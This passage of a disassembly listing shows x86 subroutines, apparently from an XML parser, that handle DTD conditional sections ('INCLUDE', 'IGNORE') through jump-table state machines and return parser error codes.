mov word ptr [esi+4], 4
loc_69B3374E: ; CODE XREF: sub_69B33600+14j
; DATA XREF: .text:off_69B33894o
cmp [esi+0A8h], bl ; jumptable 69B33614 case 4
jnz short loc_69B33768
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B3376F
; ---------------------------------------------------------------------------
loc_69B33768: ; CODE XREF: sub_69B33600+154j
mov ecx, esi
call sub_69B34A8C
loc_69B3376F: ; CODE XREF: sub_69B33600+166j
cmp eax, ebx
jnz loc_69B33890
cmp [esi+5Ch], bl
jnz loc_69B3386D
mov ax, [esi+52h]
cmp ax, 5Dh
jnz short loc_69B33795
mov word ptr [esi+4], 4
jmp loc_69B33839
; ---------------------------------------------------------------------------
loc_69B33795: ; CODE XREF: sub_69B33600+188j
cmp ax, 3Eh
jnz loc_69B33833
mov word ptr [esi+4], 5
loc_69B337A5: ; CODE XREF: sub_69B33600+14j
; DATA XREF: .text:off_69B33894o
cmp [esi+0A8h], bl ; jumptable 69B33614 case 5
jnz short loc_69B337BF
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B337C6
; ---------------------------------------------------------------------------
loc_69B337BF: ; CODE XREF: sub_69B33600+1ABj
mov ecx, esi
call sub_69B34A8C
loc_69B337C6: ; CODE XREF: sub_69B33600+1BDj
cmp eax, ebx
jnz loc_69B33890
lea eax, [esi+0B4h]
dec dword ptr [eax]
cmp [eax], ebx
jg short loc_69B33833
push 1
mov ecx, esi
mov dword ptr [esi+44h], 0Fh
mov dword ptr [esi+48h], 0FFFFFFFDh
call sub_69B3220F
cmp eax, ebx
jl loc_69B33890
mov byte ptr [esi+8Dh], 1
jmp short loc_69B33839
; ---------------------------------------------------------------------------
loc_69B33802: ; CODE XREF: sub_69B33600+14j
; DATA XREF: .text:off_69B33894o
cmp [esi+0A8h], bl ; jumptable 69B33614 case 6
jnz short loc_69B3381C
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B33823
; ---------------------------------------------------------------------------
loc_69B3381C: ; CODE XREF: sub_69B33600+208j
mov ecx, esi
call sub_69B34A8C
loc_69B33823: ; CODE XREF: sub_69B33600+21Aj
cmp eax, ebx
jnz short loc_69B33890
cmp [esi+5Ch], bl
jnz short loc_69B3386D
cmp word ptr [esi+52h], 21h
jz short loc_69B3383D
loc_69B33833: ; CODE XREF: sub_69B33600+142j
; sub_69B33600+199j ...
mov word ptr [esi+4], 2
loc_69B33839: ; CODE XREF: sub_69B33600+100j
; sub_69B33600+190j ...
xor eax, eax
jmp short loc_69B33890
; ---------------------------------------------------------------------------
loc_69B3383D: ; CODE XREF: sub_69B33600+231j
mov word ptr [esi+4], 7
loc_69B33843: ; CODE XREF: sub_69B33600+14j
; DATA XREF: .text:off_69B33894o
cmp [esi+0A8h], bl ; jumptable 69B33614 case 7
jnz short loc_69B3385D
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B33864
; ---------------------------------------------------------------------------
loc_69B3385D: ; CODE XREF: sub_69B33600+249j
mov ecx, esi
call sub_69B34A8C
loc_69B33864: ; CODE XREF: sub_69B33600+25Bj
cmp eax, ebx
jnz short loc_69B33890
cmp [esi+5Ch], bl
jz short loc_69B33874
loc_69B3386D: ; CODE XREF: sub_69B33600+3Aj
; sub_69B33600+EEj ...
mov eax, 0C00CE562h
jmp short loc_69B33890
; ---------------------------------------------------------------------------
loc_69B33874: ; CODE XREF: sub_69B33600+26Bj
xor eax, eax
cmp word ptr [esi+52h], 5Bh
jz short loc_69B33885
mov word ptr [esi+4], 2
jmp short loc_69B33890
; ---------------------------------------------------------------------------
loc_69B33885: ; CODE XREF: sub_69B33600+27Bj
mov [esi+4], bx
jmp short loc_69B33890
; ---------------------------------------------------------------------------
loc_69B3388B: ; CODE XREF: sub_69B33600+Cj
mov eax, 0C00CE512h ; default
loc_69B33890: ; CODE XREF: sub_69B33600+4Ej
; sub_69B33600+70j ...
pop edi
pop esi
pop ebx
retn
sub_69B33600 endp
; ---------------------------------------------------------------------------
off_69B33894 dd offset loc_69B3361B ; DATA XREF: sub_69B33600+14r
dd offset loc_69B33633 ; jump table for switch statement
dd offset loc_69B336A8
dd offset loc_69B3370B
dd offset loc_69B3374E
dd offset loc_69B337A5
dd offset loc_69B33802
dd offset loc_69B33843
; =============== S U B R O U T I N E =======================================
sub_69B338B4 proc near ; CODE XREF: sub_69B33E72+43Cp
; DATA XREF: sub_69B33E72+426o
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
sub eax, 0
push edi
mov edi, offset sub_69B3254F
jz short loc_69B338DA
dec eax
jz short loc_69B33904
dec eax
jz loc_69B33961
mov eax, 0C00CE512h
jmp loc_69B33970
; ---------------------------------------------------------------------------
loc_69B338DA: ; CODE XREF: sub_69B338B4+10j
mov eax, [esi+34h]
mov ecx, [eax+48h]
cmp ecx, [eax+8]
jnz short loc_69B338FE
push 1
push edi
mov ecx, esi
call sub_69B320E7
test eax, eax
jl short loc_69B33970
mov ecx, esi
call sub_69B3254F
test eax, eax
jl short loc_69B33970
loc_69B338FE: ; CODE XREF: sub_69B338B4+2Fj
mov word ptr [esi+4], 1
loc_69B33904: ; CODE XREF: sub_69B338B4+13j
lea eax, [esi+52h]
cmp word ptr [eax], 3Dh
jz short loc_69B33914
mov eax, 0C00CE501h
jmp short loc_69B33970
; ---------------------------------------------------------------------------
loc_69B33914: ; CODE XREF: sub_69B338B4+57j
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B3392C
lea ecx, [esi+5Ch]
push ecx
mov ecx, [esi+34h]
push eax
call sub_69B35FE4
jmp short loc_69B33933
; ---------------------------------------------------------------------------
loc_69B3392C: ; CODE XREF: sub_69B338B4+67j
mov ecx, esi
call sub_69B34A8C
loc_69B33933: ; CODE XREF: sub_69B338B4+76j
test eax, eax
jnz short loc_69B33970
mov eax, [esi+34h]
mov ecx, [eax+48h]
cmp ecx, [eax+8]
jnz short loc_69B3395B
push 2
push edi
mov ecx, esi
call sub_69B320E7
test eax, eax
jl short loc_69B33970
mov ecx, esi
call sub_69B3254F
test eax, eax
jl short loc_69B33970
loc_69B3395B: ; CODE XREF: sub_69B338B4+8Cj
mov word ptr [esi+4], 2
loc_69B33961: ; CODE XREF: sub_69B338B4+16j
push 0
mov ecx, esi
call sub_69B3220F
test eax, eax
jl short loc_69B33970
xor eax, eax
loc_69B33970: ; CODE XREF: sub_69B338B4+21j
; sub_69B338B4+3Dj ...
pop edi
pop esi
retn
sub_69B338B4 endp
; =============== S U B R O U T I N E =======================================
sub_69B33973 proc near ; DATA XREF: sub_69B33E72+65Bo
; sub_69B34F0F+2FFo
push ebx
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
xor ebx, ebx
sub eax, ebx
push edi
jz short loc_69B33993
dec eax
dec eax
jz short loc_69B339A0
dec eax
jz short loc_69B339D9
mov eax, 0C00CE512h
jmp loc_69B33AE9
; ---------------------------------------------------------------------------
loc_69B33993: ; CODE XREF: sub_69B33973+Dj
mov byte ptr [esi+0B2h], 1
mov word ptr [esi+4], 2
loc_69B339A0: ; CODE XREF: sub_69B33973+11j
lea edi, [esi+52h]
jmp short loc_69B339CA
; ---------------------------------------------------------------------------
loc_69B339A5: ; CODE XREF: sub_69B33973+5Ej
mov ax, [edi]
cmp ax, 3Ch
jz short loc_69B339D3
cmp [esi+5Ch], bl
jnz short loc_69B339D3
cmp ax, 26h
jz short loc_69B339EA
mov ecx, [esi+34h]
lea eax, [esi+54h]
push eax
push edi
call sub_69B35B2D
cmp eax, ebx
jl short loc_69B339FD
loc_69B339CA: ; CODE XREF: sub_69B33973+30j
mov ax, [edi]
cmp ax, [esi+56h]
jnz short loc_69B339A5
loc_69B339D3: ; CODE XREF: sub_69B33973+39j
; sub_69B33973+3Ej
mov word ptr [esi+4], 3
loc_69B339D9: ; CODE XREF: sub_69B33973+14j
lea ecx, [esi+5Ch]
cmp [ecx], bl
jz short loc_69B33A2E
mov eax, 0C00CE560h
jmp loc_69B33AE9
; ---------------------------------------------------------------------------
loc_69B339EA: ; CODE XREF: sub_69B33973+44j
push 2
push offset sub_69B32EF6
mov ecx, esi
call sub_69B320E7
jmp loc_69B33AE9
; ---------------------------------------------------------------------------
loc_69B339FD: ; CODE XREF: sub_69B33973+55j
cmp eax, 8000000Ah
jnz loc_69B33AE9
cmp [esi+0A8h], bl
jnz short loc_69B33A22
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
push edi
call sub_69B35FE4
jmp loc_69B33AE9
; ---------------------------------------------------------------------------
loc_69B33A22: ; CODE XREF: sub_69B33973+9Bj
mov ecx, esi
call sub_69B34A8C
jmp loc_69B33AE9
; ---------------------------------------------------------------------------
loc_69B33A2E: ; CODE XREF: sub_69B33973+6Bj
lea eax, [esi+52h]
mov dx, [eax]
cmp dx, [esi+56h]
jnz short loc_69B33AAD
cmp [esi+0A8h], bl
jnz short loc_69B33A4E
push ecx
mov ecx, [esi+34h]
push eax
call sub_69B35FE4
jmp short loc_69B33A55
; ---------------------------------------------------------------------------
loc_69B33A4E: ; CODE XREF: sub_69B33973+CDj
mov ecx, esi
call sub_69B34A8C
loc_69B33A55: ; CODE XREF: sub_69B33973+D9j
cmp eax, ebx
jnz loc_69B33AE9
cmp [esi+0B9h], bl
jz short loc_69B33A91
cmp [esi+0A5h], bl
jz short loc_69B33A75
cmp [esi+9Ch], ebx
jg short loc_69B33A84
loc_69B33A75: ; CODE XREF: sub_69B33973+F8j
mov eax, [esi+34h]
mov ecx, [eax+8]
sub ecx, [eax+14h]
dec ecx
cmp ecx, 1
jle short loc_69B33A98
loc_69B33A84: ; CODE XREF: sub_69B33973+100j
or dword ptr [esi+48h], 0FFFFFFFFh
mov dword ptr [esi+44h], 0Dh
jmp short loc_69B33A98
; ---------------------------------------------------------------------------
loc_69B33A91: ; CODE XREF: sub_69B33973+F0j
mov byte ptr [esi+0B9h], 1
loc_69B33A98: ; CODE XREF: sub_69B33973+10Fj
; sub_69B33973+11Cj
push 1
mov ecx, esi
mov [esi+0B2h], bl
call sub_69B3220F
cmp eax, ebx
jl short loc_69B33AE9
jmp short loc_69B33AE0
; ---------------------------------------------------------------------------
loc_69B33AAD: ; CODE XREF: sub_69B33973+C5j
cmp dx, 3Ch
jnz short loc_69B33AE4
cmp [esi+8Bh], bl
jz short loc_69B33AE4
cmp [esi+0A8h], bl
jnz short loc_69B33ACF
push ecx
mov ecx, [esi+34h]
push eax
call sub_69B35FE4
jmp short loc_69B33AD6
; ---------------------------------------------------------------------------
loc_69B33ACF: ; CODE XREF: sub_69B33973+14Ej
mov ecx, esi
call sub_69B34A8C
loc_69B33AD6: ; CODE XREF: sub_69B33973+15Aj
cmp eax, ebx
jnz short loc_69B33AE9
mov word ptr [esi+4], 2
loc_69B33AE0: ; CODE XREF: sub_69B33973+138j
xor eax, eax
jmp short loc_69B33AE9
; ---------------------------------------------------------------------------
loc_69B33AE4: ; CODE XREF: sub_69B33973+13Ej
; sub_69B33973+146j
mov eax, 0C00CE506h
loc_69B33AE9: ; CODE XREF: sub_69B33973+1Bj
; sub_69B33973+72j ...
pop edi
pop esi
pop ebx
retn
sub_69B33973 endp
; =============== S U B R O U T I N E =======================================
sub_69B33AED proc near ; CODE XREF: sub_69B33E72+693p
; DATA XREF: sub_69B33E72+67Do
push ebx
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
xor ebx, ebx
sub eax, ebx
jz loc_69B33B99
dec eax
jz loc_69B33BB4
dec eax
jz loc_69B33BE5
dec eax
jz loc_69B33C4E
dec eax
jz short loc_69B33B5E
dec eax
jz short loc_69B33B27
dec eax
jz short loc_69B33B52
mov eax, 0C00CE512h
jmp loc_69B33C6F
; ---------------------------------------------------------------------------
loc_69B33B27: ; CODE XREF: sub_69B33AED+2Bj
push 6
push offset sub_69B32791
mov ecx, esi
call sub_69B320E7
cmp eax, ebx
jl loc_69B33C6F
mov ecx, esi
call sub_69B32791
cmp eax, ebx
jl loc_69B33C6F
mov word ptr [esi+4], 6
loc_69B33B52: ; CODE XREF: sub_69B33AED+2Ej
mov dword ptr [esi+44h], 31h
jmp loc_69B33C61
; ---------------------------------------------------------------------------
loc_69B33B5E: ; CODE XREF: sub_69B33AED+28j
mov eax, [esi+34h]
mov ecx, [eax+48h]
cmp ecx, [eax+8]
mov ecx, esi
jnz short loc_69B33B88
push 5
push offset sub_69B3254F
call sub_69B320E7
cmp eax, ebx
jl loc_69B33C6F
mov ecx, esi
pop esi
pop ebx
jmp sub_69B3254F
; ---------------------------------------------------------------------------
loc_69B33B88: ; CODE XREF: sub_69B33AED+7Cj
push 1
push offset loc_69B333D2
call sub_69B320E7
jmp loc_69B33C6F
; ---------------------------------------------------------------------------
loc_69B33B99: ; CODE XREF: sub_69B33AED+Cj
mov eax, [esi+34h]
mov ecx, [eax+48h]
cmp ecx, [eax+8]
jz short loc_69B33BAE
mov eax, 0C00CE509h
jmp loc_69B33C6F
; ---------------------------------------------------------------------------
loc_69B33BAE: ; CODE XREF: sub_69B33AED+B5j
mov word ptr [esi+4], 1
loc_69B33BB4: ; CODE XREF: sub_69B33AED+13j
push 2
push offset sub_69B3254F
mov ecx, esi
mov [esi+8Dh], bl
call sub_69B320E7
cmp eax, ebx
jl loc_69B33C6F
mov ecx, esi
call sub_69B3254F
cmp eax, ebx
jl loc_69B33C6F
mov word ptr [esi+4], 2
loc_69B33BE5: ; CODE XREF: sub_69B33AED+1Aj
lea eax, [esi+5Ch]
cmp [eax], bl
mov byte ptr [esi+8Dh], 1
jz short loc_69B33BFB
mov eax, [esi+94h]
jmp short loc_69B33C6F
; ---------------------------------------------------------------------------
loc_69B33BFB: ; CODE XREF: sub_69B33AED+104j
lea ecx, [esi+52h]
cmp word ptr [ecx], 25h
jnz short loc_69B33C2B
cmp [esi+0A8h], bl
jnz short loc_69B33C18
push eax
push ecx
mov ecx, [esi+34h]
call sub_69B35FE4
jmp short loc_69B33C1F
; ---------------------------------------------------------------------------
loc_69B33C18: ; CODE XREF: sub_69B33AED+11Dj
mov ecx, esi
call sub_69B34A8C
loc_69B33C1F: ; CODE XREF: sub_69B33AED+129j
cmp eax, ebx
jnz short loc_69B33C6F
mov word ptr [esi+4], 4
jmp short loc_69B33C6D
; ---------------------------------------------------------------------------
loc_69B33C2B: ; CODE XREF: sub_69B33AED+115j
push 3
push offset sub_69B32791
mov ecx, esi
call sub_69B320E7
cmp eax, ebx
jl short loc_69B33C6F
mov ecx, esi
call sub_69B32791
cmp eax, ebx
jl short loc_69B33C6F
mov word ptr [esi+4], 3
loc_69B33C4E: ; CODE XREF: sub_69B33AED+21j
cmp [esi+5Ch], bl
jz short loc_69B33C5A
mov eax, 0C00CE559h
jmp short loc_69B33C6F
; ---------------------------------------------------------------------------
loc_69B33C5A: ; CODE XREF: sub_69B33AED+164j
mov dword ptr [esi+44h], 7
loc_69B33C61: ; CODE XREF: sub_69B33AED+6Cj
mov ecx, esi
push ebx
call sub_69B3220F
cmp eax, ebx
jl short loc_69B33C6F
loc_69B33C6D: ; CODE XREF: sub_69B33AED+13Cj
xor eax, eax
loc_69B33C6F: ; CODE XREF: sub_69B33AED+35j
; sub_69B33AED+4Aj ...
pop esi
pop ebx
retn
sub_69B33AED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B33C72 proc near ; DATA XREF: sub_69B33E72+5E2o
lpStr2 = dword ptr -8
nChar = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
xor ebx, ebx
sub eax, ebx
push edi
jz loc_69B33DC2
dec eax
jz loc_69B33DF5
dec eax
jz loc_69B33E1D
dec eax
jz loc_69B33D97
dec eax
jz loc_69B33D4B
dec eax
jz short loc_69B33CF3
mov eax, 0C00CE512h
jmp loc_69B33E4E
; ---------------------------------------------------------------------------
loc_69B33CB3: ; CODE XREF: sub_69B33C72+87j
mov ecx, [esi+74h]
lea eax, [esi+52h]
mov dx, [eax]
cmp dx, [ecx]
jnz short loc_69B33CFB
lea edi, [esi+5Ch]
cmp [edi], bl
jnz short loc_69B33CFB
cmp [esi+0A8h], bl
jnz short loc_69B33CDC
mov ecx, [esi+34h]
push edi
push eax
call sub_69B35FE4
jmp short loc_69B33CE3
; ---------------------------------------------------------------------------
loc_69B33CDC: ; CODE XREF: sub_69B33C72+5Cj
mov ecx, esi
call sub_69B34A8C
loc_69B33CE3: ; CODE XREF: sub_69B33C72+68j
cmp eax, ebx
jnz loc_69B33E4E
add dword ptr [esi+74h], 2
cmp [edi], bl
jnz short loc_69B33D0D
loc_69B33CF3: ; CODE XREF: sub_69B33C72+35j
mov eax, [esi+74h]
cmp [eax], bx
jnz short loc_69B33CB3
loc_69B33CFB: ; CODE XREF: sub_69B33C72+4Dj
; sub_69B33C72+54j
mov eax, [esi+74h]
cmp [eax], bx
jz short loc_69B33D17
loc_69B33D03: ; CODE XREF: sub_69B33C72+118j
mov eax, 0C00CE511h
jmp loc_69B33E4E
; ---------------------------------------------------------------------------
loc_69B33D0D: ; CODE XREF: sub_69B33C72+7Fj
; sub_69B33C72+128j ...
mov eax, 0C00CE563h
jmp loc_69B33E4E
; ---------------------------------------------------------------------------
loc_69B33D17: ; CODE XREF: sub_69B33C72+8Fj
cmp word ptr [esi+52h], 5Bh
jz short loc_69B33D28
loc_69B33D1E: ; CODE XREF: sub_69B33C72+1BDj
mov eax, 0C00CE510h
jmp loc_69B33E4E
; ---------------------------------------------------------------------------
loc_69B33D28: ; CODE XREF: sub_69B33C72+AAj
cmp [esi+0A8h], bl
jz short loc_69B33D3A
mov eax, 0C00CE578h
jmp loc_69B33E4E
; ---------------------------------------------------------------------------
loc_69B33D3A: ; CODE XREF: sub_69B33C72+BCj
push offset sub_69B32324
loc_69B33D3F: ; CODE XREF: sub_69B33C72+103j
; sub_69B33C72+123j
mov ecx, esi
call sub_69B32274
jmp loc_69B33E4E
; ---------------------------------------------------------------------------
loc_69B33D4B: ; CODE XREF: sub_69B33C72+2Ej
mov ecx, [esi+34h]
lea eax, [ebp+nChar]
push eax
lea eax, [ebp+lpStr2]
push eax
call sub_69B35C65
push ebx ; char
push [ebp+nChar] ; nChar
push [ebp+lpStr2] ; lpStr2
push offset aIgnore ; "IGNORE"
call sub_69B31FAA
test al, al
jz short loc_69B33D77
push offset sub_69B33600
jmp short loc_69B33D3F
; ---------------------------------------------------------------------------
loc_69B33D77: ; CODE XREF: sub_69B33C72+FCj
push ebx ; char
push [ebp+nChar] ; nChar
push [ebp+lpStr2] ; lpStr2
push offset aInclude ; "INCLUDE"
call sub_69B31FAA
test al, al
jz loc_69B33D03
push offset sub_69B3347E
jmp short loc_69B33D3F
; ---------------------------------------------------------------------------
loc_69B33D97: ; CODE XREF: sub_69B33C72+27j
cmp [esi+5Ch], bl
jnz loc_69B33D0D
push 4
push offset sub_69B32791
mov ecx, esi
call sub_69B320E7
cmp eax, ebx
jl loc_69B33E4E
mov ecx, esi
call sub_69B32791
jmp loc_69B33E4E
; ---------------------------------------------------------------------------
loc_69B33DC2: ; CODE XREF: sub_69B33C72+12j
cmp [esi+0A8h], bl
jnz short loc_69B33DDC
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B33DE3
; ---------------------------------------------------------------------------
loc_69B33DDC: ; CODE XREF: sub_69B33C72+156j
mov ecx, esi
call sub_69B34A8C
loc_69B33DE3: ; CODE XREF: sub_69B33C72+168j
cmp eax, ebx
jnz short loc_69B33E4E
cmp [esi+0B0h], bl
jnz short loc_69B33E13
mov word ptr [esi+4], 1
loc_69B33DF5: ; CODE XREF: sub_69B33C72+19j
cmp [esi+5Ch], bl
jnz loc_69B33D0D
cmp word ptr [esi+52h], 43h
jnz short loc_69B33E17
mov eax, off_69B98430
mov [esi+74h], eax
mov word ptr [esi+4], 5
loc_69B33E13: ; CODE XREF: sub_69B33C72+17Bj
xor eax, eax
jmp short loc_69B33E4E
; ---------------------------------------------------------------------------
loc_69B33E17: ; CODE XREF: sub_69B33C72+191j
mov word ptr [esi+4], 2
loc_69B33E1D: ; CODE XREF: sub_69B33C72+20j
cmp [esi+0A9h], bl
jz short loc_69B33E2C
mov eax, 0C00CE577h
jmp short loc_69B33E4E
; ---------------------------------------------------------------------------
loc_69B33E2C: ; CODE XREF: sub_69B33C72+1B1j
cmp [esi+5Ch], bl
jnz loc_69B33D1E
push 3
push offset sub_69B3254F
mov ecx, esi
call sub_69B320E7
cmp eax, ebx
jl short loc_69B33E4E
mov ecx, esi
call sub_69B3254F
loc_69B33E4E: ; CODE XREF: sub_69B33C72+3Cj
; sub_69B33C72+73j ...
pop edi
pop esi
pop ebx
leave
retn
sub_69B33C72 endp
; ---------------------------------------------------------------------------
align 4
; const WCHAR aInclude
aInclude: ; DATA XREF: sub_69B33C72+10Co
unicode 0, <INCLUDE>,0
; const WCHAR aIgnore
aIgnore: ; DATA XREF: sub_69B33C72+F0o
unicode 0, <IGNORE>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B33E72 proc near ; CODE XREF: sub_69B322C1+59p
; DATA XREF: sub_69B322C1+32o ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
lpStr2 = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
and [ebp+var_4], 0
push ebx
push esi
push edi
mov esi, ecx
loc_69B33E81: ; CODE XREF: sub_69B33E72+4BCj
cmp dword ptr [esi+44h], 0
jnz loc_69B34334
movsx eax, word ptr [esi+4]
mov ecx, [esi+90h]
lea eax, [eax+eax*4]
lea edi, [ecx+eax*4]
mov eax, [edi]
cmp eax, 1Ch ; switch 29 cases
mov ebx, [edi+8]
ja loc_69B3430E ; default
; jumptable 69B33EA9 case 25
jmp ds:off_69B34597[eax*4] ; switch jump
loc_69B33EB0: ; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 1
jnz loc_69B343C0
cmp byte ptr [esi+5Ch], 0
jnz loc_69B3434F
mov eax, [esi+34h]
mov ecx, [eax+48h]
cmp ecx, [eax+8]
jnz loc_69B34348
loc_69B33ED6: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 0
jnz loc_69B343C0
cmp byte ptr [esi+5Ch], 0
jnz loc_69B3434F
push ebx
push offset sub_69B3254F
mov ecx, esi
call sub_69B320E7
test eax, eax
jl loc_69B343C2
mov ecx, esi
call sub_69B3254F
test eax, eax
mov [ebp+var_4], eax
jl loc_69B343C2
cmp byte ptr [esi+0B0h], 0
jz loc_69B3430E ; default
; jumptable 69B33EA9 case 25
mov eax, 8000E5FFh
jmp loc_69B343C2
; ---------------------------------------------------------------------------
loc_69B33F2B: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 11
jnz loc_69B343C0
cmp byte ptr [esi+5Ch], 0
jnz loc_69B3434F
mov eax, [esi+34h]
mov ecx, [eax+48h]
cmp ecx, [eax+8]
jmp loc_69B34272
; ---------------------------------------------------------------------------
loc_69B33F50: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 22
jnz loc_69B343C0
mov ecx, [esi+34h]
push 0
call sub_69B318D1
lea ecx, [esi+5Ch]
cmp byte ptr [ecx], 0
jnz loc_69B3434F
mov edx, [edi+4]
lea eax, [esi+52h]
mov bx, [eax]
cmp bx, [edx]
jnz short loc_69B33FB6
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B33F96
push ecx
mov ecx, [esi+34h]
push eax
call sub_69B35FE4
jmp short loc_69B33F9D
; ---------------------------------------------------------------------------
loc_69B33F96: ; CODE XREF: sub_69B33E72+116j
mov ecx, esi
call sub_69B34A8C
loc_69B33F9D: ; CODE XREF: sub_69B33E72+122j
test eax, eax
mov [ebp+var_4], eax
jnz loc_69B343C2
mov eax, [edi+10h]
mov ebx, [edi+8]
mov [esi+44h], eax
jmp loc_69B3430E ; default
; jumptable 69B33EA9 case 25
; ---------------------------------------------------------------------------
loc_69B33FB6: ; CODE XREF: sub_69B33E72+10Dj
mov eax, [esi+34h]
mov ecx, [eax+48h]
cmp ecx, [eax+8]
jz loc_69B34278
mov eax, 0C00CE520h
jmp loc_69B343C2
; ---------------------------------------------------------------------------
loc_69B33FCF: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 2
jnz loc_69B343C0
mov ecx, [esi+34h]
push 0
call sub_69B318D1
loc_69B33FE6: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 3
jnz loc_69B343C0
lea ecx, [esi+5Ch]
cmp byte ptr [ecx], 0
jnz loc_69B3434F
mov edx, [edi+4]
lea eax, [esi+52h]
mov bx, [eax]
cmp bx, [edx]
jnz short loc_69B34052
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B34022
push ecx
mov ecx, [esi+34h]
push eax
call sub_69B35FE4
jmp short loc_69B34029
; ---------------------------------------------------------------------------
loc_69B34022: ; CODE XREF: sub_69B33E72+1A2j
mov ecx, esi
call sub_69B34A8C
loc_69B34029: ; CODE XREF: sub_69B33E72+1AEj
test eax, eax
mov [ebp+var_4], eax
jnz loc_69B343C2
mov ebx, [edi+8]
mov edi, [edi+10h]
cmp edi, 0Bh
mov [esi+44h], edi
jnz loc_69B3430E ; default
; jumptable 69B33EA9 case 25
mov dword ptr [esi+78h], 3
jmp loc_69B3430E ; default
; jumptable 69B33EA9 case 25
; ---------------------------------------------------------------------------
loc_69B34052: ; CODE XREF: sub_69B33E72+199j
mov ebx, [edi+0Ch]
cmp ebx, 0C00CE500h
jb loc_69B3430E ; default
; jumptable 69B33EA9 case 25
mov eax, [esi+34h]
mov ecx, [eax+48h]
cmp ecx, [eax+8]
jnz loc_69B3430E ; default
; jumptable 69B33EA9 case 25
mov eax, 0C00CE513h
jmp loc_69B343C2
; ---------------------------------------------------------------------------
loc_69B3407A: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 4
jnz loc_69B343C0
cmp byte ptr [esi+5Ch], 0
jnz loc_69B3434F
mov eax, [edi+4]
mov cx, [esi+52h]
cmp cx, [eax]
jz loc_69B3430E ; default
; jumptable 69B33EA9 case 25
jmp loc_69B34278
; ---------------------------------------------------------------------------
loc_69B340A6: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 5
jnz loc_69B343C0
cmp byte ptr [esi+5Ch], 0
jnz loc_69B3434F
push ebx
push offset sub_69B32791
mov ecx, esi
call sub_69B320E7
test eax, eax
jl loc_69B343C2
mov ecx, esi
call sub_69B32791
jmp loc_69B342B3
; ---------------------------------------------------------------------------
loc_69B340DE: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 14
jnz loc_69B343C0
cmp dword ptr [edi+0Ch], 0
jz short loc_69B340FB
mov ecx, [esi+34h]
push 0
call sub_69B318D1
loc_69B340FB: ; CODE XREF: sub_69B33E72+27Dj
cmp byte ptr [esi+5Ch], 0
jnz loc_69B3434F
push ebx
push offset sub_69B32909
mov ecx, esi
call sub_69B320E7
test eax, eax
jl loc_69B343C2
mov ecx, esi
call sub_69B32909
jmp loc_69B342B3
; ---------------------------------------------------------------------------
loc_69B34126: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
mov eax, [edi+0Ch] ; jumptable 69B33EA9 case 6
mov [esi+44h], eax
mov eax, [edi+10h]
mov [esi+48h], eax
jmp loc_69B3430E ; default
; jumptable 69B33EA9 case 25
; ---------------------------------------------------------------------------
loc_69B34137: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 7
jnz loc_69B343C0
cmp byte ptr [esi+5Ch], 0
jnz loc_69B3434F
and word ptr [esi+58h], 0
push ebx
push offset sub_69B32BA0
mov ecx, esi
call sub_69B320E7
test eax, eax
jl loc_69B343C2
mov ecx, esi
call sub_69B32BA0
jmp loc_69B342B3
; ---------------------------------------------------------------------------
loc_69B34174: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
mov ecx, [esi+34h] ; jumptable 69B33EA9 case 9
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+lpStr2]
push eax
call sub_69B35C65
mov eax, [edi+10h]
test eax, eax
jl short loc_69B3418D
xor eax, eax
loc_69B3418D: ; CODE XREF: sub_69B33E72+317j
xor ecx, ecx
mov cl, [esi+88h]
push ecx ; char
mov ecx, [ebp+var_8]
add eax, ecx
push eax ; nChar
push [ebp+lpStr2] ; lpStr2
push dword ptr [edi+4] ; lpString
call sub_69B31FAA
test al, al
jz loc_69B34278
mov eax, [edi+10h]
test eax, eax
jle short loc_69B341BD
and dword ptr [esi+48h], 0
